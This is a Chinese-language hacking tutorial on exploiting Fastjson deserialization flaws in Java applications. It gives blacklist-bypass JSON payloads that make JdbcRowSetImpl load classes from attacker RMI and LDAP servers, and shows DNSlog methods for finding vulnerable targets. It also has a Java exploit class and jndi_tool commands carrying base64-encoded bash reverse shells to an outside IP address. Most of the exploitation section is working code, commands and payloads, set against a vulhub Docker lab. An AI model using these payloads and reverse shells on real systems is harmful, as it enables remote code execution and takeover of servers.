Java库FastJson反序列化漏洞利用

Fastjson简介

Fastjson 是阿里巴巴公司开源的一款 JSON 解析器,它可以解析 JSON 格式的字符串,是一个 Java 库, 支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 Java Bean。

可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。

Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。

https://www.runoob.com/w3cnote/fastjson-intro.html

历史漏洞

Fastjson <=1.2.24 反序列化远程命令执行漏洞
Fastjson <=1.2.41 反序列化远程命令执行漏洞
Fastjson <=1.2.42 反序列化远程命令执行漏洞
Fastjson <=1.2.43 反序列化远程命令执行漏洞
Fastjson <=1.2.45 反序列化远程命令执行漏洞
Fastjson <=1.2.47 反序列化远程命令执行漏洞
Fastjson <=1.2.62 反序列化远程命令执行漏洞
Fastjson <=1.2.66 反序列化远程命令执行漏洞

Fastjson < 1.2.41

第一个 Fastjson 反序列化漏洞爆出后,阿里在 1.2.25 版本设置了 autoTypeSupport 属性默认为 false ,并且增加了 checkAutoType() 函数,通过黑白名单的方式来防御 Fastjson 反序列化漏洞,因此后面发现的 Fastjson 反序列化漏洞都是针对黑名单绕过来实现攻击利用的目的的。

com.sun.rowset.jdbcRowSetlmpl 在 1.2.25 版本被加入了黑名单, Fastjson 有个判 断条件判断类名是否以”L”开头、以”;”结尾,是的话就提取出其中的类名在加载进来

那么就可以构造如下 EXP

1
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"rmi://ip:9999/rce_1_2_24_exploit", "autoCommit":true}

Java安全之FastJson JdbcRowSetImpl 链分析

Fastjson < 1.2.42

阿里在发现这个绕过漏洞之后做出了类名如果为L开头,;结尾的时候就先去掉L和;进行黑名单检验的方法,但是没有考虑到双写或多写的情况,也就是说这种方法只能防御一组L;,构造exp如下,即双写L和**;**

1
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"rmi://x.x.x.x:9999/exp", "autoCommit":true}

Fastjson < 1.2.47

在1.2.47版本及以下的情况下,loadClass中默认cache为true,首先使用 java.lang.Class 把获取到的类缓存到 mapping 中,然后直接从缓存中获取到了 com.sun.rowset.jdbcRowSetlmpl 这个类,即可绕过黑名单

1
{ "a": { "@type": "java.lang.Class",  "val": "com.sun.rowset.JdbcRowSetImpl" },  "b": { "@type": "com.sun.rowset.JdbcRowSetImpl",  "dataSourceName": "rmi://ip:9999/exp",  "autoCommit": true }}

Fastjson < 1.2.66

基于黑名单绕过, autoTypeSupport 属性为true才能使用,在1.2.25版本之后 autoTypeSupport 默认为false

1
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://ip:1389/Calc"}{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://ip:1389/Calc"}{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://ip:1389/Calc"}

漏洞发现

Json认识

https://www.runoob.com/json/json-tutorial.html

1
2
3
4
5
6
7
8
9
10
11
{
"name": "smith",
"age": 28,
"sex": "男",
"school": {
"sname": "南京大学",
"address": "南京市鼓楼区汉口路22号"
}
}

{"name":"smith","empno":1001,"job":"clerck","sal":9000.00,"comm":5000.00}

Fastjson寻找

Fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现json格式的地方就有可能使用了Fastjson,通过burp抓包Content-Type是否为application/json,如果是则大概率使用了fastjson

Fastjson报错识别

1
2
{
"name":"1"

使用burp suite抓包 - 发送到 Repeater - 在Request模块右键选择”Change request method”(更改http请求)- 将Content-type的属性改为application/json ,通过构建错误的json格式,Response返回信息中会有fastjson的信息泄露

image-20230419125735312

也可以使用如下json爆出fastjson的版本信息

1
2
3
[
{
"a":"a\x] {"@type":"java.lang.AutoCloseable"a

image-20230419130031400

FastJson漏洞发现

原理: java.net.InetAddress 这个类在实例化时会尝试对 example.com 进行域名解析,这时候可以通过 dnslog 的方式得知漏洞是否存在

http://dnslog.cn
https://www.callback.red

https://github.com/AlphabugX/Alphalog
https://github.com/BugScanTeam/DNSLog
https://github.com/lanyi1998/DNSlog-GO
https://github.com/lijiejie/eyes.sh

1
2
3
4
5
6
{
"name":{
"@type":"java.net.InetAddress",
"val":"任意字符.qydzoe.dnslog.cn"
}
}

image-20240310105130514

image-20240310105144325

其他payload:

1
2
3
4
5
6
{
"name":{
"@type":"Ljava.net.InetAddress;",
"val":"任意字符.qydzoe.dnslog.cn"
}
}
1
2
3
4
5
6
{
"name":{
"@type":"LLjava.net.InetAddress;;",
"val":"任意字符.qydzoe.dnslog.cn"
}
}

漏洞利用

Fastjson1.2.47反序列化漏洞

漏洞概述

fastjson 在解析 json 的过程中,支持使用 autoType 来实例化某一个具体的类,并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

fastjson 于 1.2.24 版本后增加了反序列化白名单,而在 1.2.48 以前的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令。

影响版本

Fastjson < 1.2.48

漏洞环境

1
vim docker-compose.yml
1
2
3
4
5
6
version: '2'
services:
web:
image: vulhub/fastjson:1.2.45
ports:
- "8090:8090"
1
docker-compose up -d

image-20230419140416858

漏洞检测

原理: java.net.InetAddress 这个类在实例化时会尝试对 example.com 进行域名解析,这时候可以通过 dnslog 的方式得知漏洞是否存在

image-20230419141032491

JNDI注入 + RMI

JNDI

JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

可以访问以下命名/目录服务:

  • RMI (JAVA远程方法调用)
  • LDAP (轻量级目录访问协议)
  • CORBA (公共对象请求代理体系结构)
  • DNS (域名服务)

RMI

RMI是Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。

它使客户机上运行的程序可以调用远程服务器上的对象

方法一

https://github.com/mbechler/marshalsec

  1. 借助项目启动一个rmi服务器,监听一个端口,并指定加载远程类 Exploit.class

maven打包项目成jar包:

1
mvn clean package -DskipTests
  1. 编写并编译恶意代码

注意:

  • Java保存的文件名必须与类名一致;
  • 如果文件中只有一个类,文件名必须与类名一致;
  • 一个Java文件中只能有一个public类;
  • 如果文件中不止一个类,文件名必须与public类名一致;
  • 如果文件中不止一个类,而且没有public类,文件名可与任一类名一致
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//Touch.java
import java.lang.Runtime;
import java.lang.Process;

public class Touch {
public Touch(){
try{
Runtime.getRuntime().exec("/bin/touch /tmp/mingy");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Touch e = new Touch();
}
}

在jdk8下编译:

1
javac Touch.java

在当前目录会生成一个Touch.class的字节码文件

python启动http服务,托管编译的恶意类文件:

1
python3 -m http.server

启动RMI服务,加载指定恶意类:

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://47.236.16.67:8000/#Touch" 9999

发送exp:

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://47.236.16.67:9999/Touch",
"autoCommit":true
}
}

image-20240310142523631

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//Exploit.java

import java.lang.Runtime;
import java.lang.Process;

public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4yMzYuMTYuNjcvNDQzMyAwPiYx}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}

在jdk8下编译:

1
javac Exploit.java

在当前目录会生成一个Exploit.class的字节码文件

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://47.236.16.67:9999/Exploit",
"autoCommit":true
}
}

image-20240310143138329

image-20240310143539221

方法二:

  • 下载利用工具

github: https://github.com/wyzxxz/jndi_tool

1
2
git clone https://github.com/wyzxxz/jndi_tool.git
cd jndi_tool

下载地址:https://www.aliyundrive.com/s/ZFDNZYAvQ1f

  • 利用工具启动 RMI server
1
java -cp jndi_tool.jar jndi.HRMIServer 47.236.16.67 9999 "要执行的命令"
1
java -cp jndi_tool.jar jndi.HRMIServer 47.236.16.67 9999 "ping hihopkc.vrmoya.dnslog.cn"

image-20240310144444563

复制生成的payload:

1
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://47.236.16.67:9999/Object","autoCommit":true}}

发送目标主机

image-20240310144518671

如果是反弹shell的命令,需要将其进行编码,管道符、输入输出重定向,只有在bash环境下才能用。而在这里,我们使用的是java为我们提供的命令执行环境,不支持管道符、输入输出重定向等。因此需要base64编码一下。

1
java -cp jndi_tool.jar jndi.HRMIServer 47.236.16.67 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4yMzYuMTYuNjcvOTA5MCAwPiYx}|{base64,-d}|{bash,-i}"
  • 利用JNDI注入加载远程 RMI server 上的字节码
1
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://47.236.16.67:9999/Object","autoCommit":true}}

image-20240310144730908

image-20240310144742702

JNDI注入 + LDAP

LDAP是基于X.500标准的轻量级目录访问协议,目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。

1
java -cp jndi_tool.jar jndi.HLDAPServer 47.236.16.67 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4yMzYuMTYuNjcvOTA5MCAwPiYx}|{base64,-d}|{bash,-i}"
1
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://47.236.16.67:9999/Object","autoCommit":true}}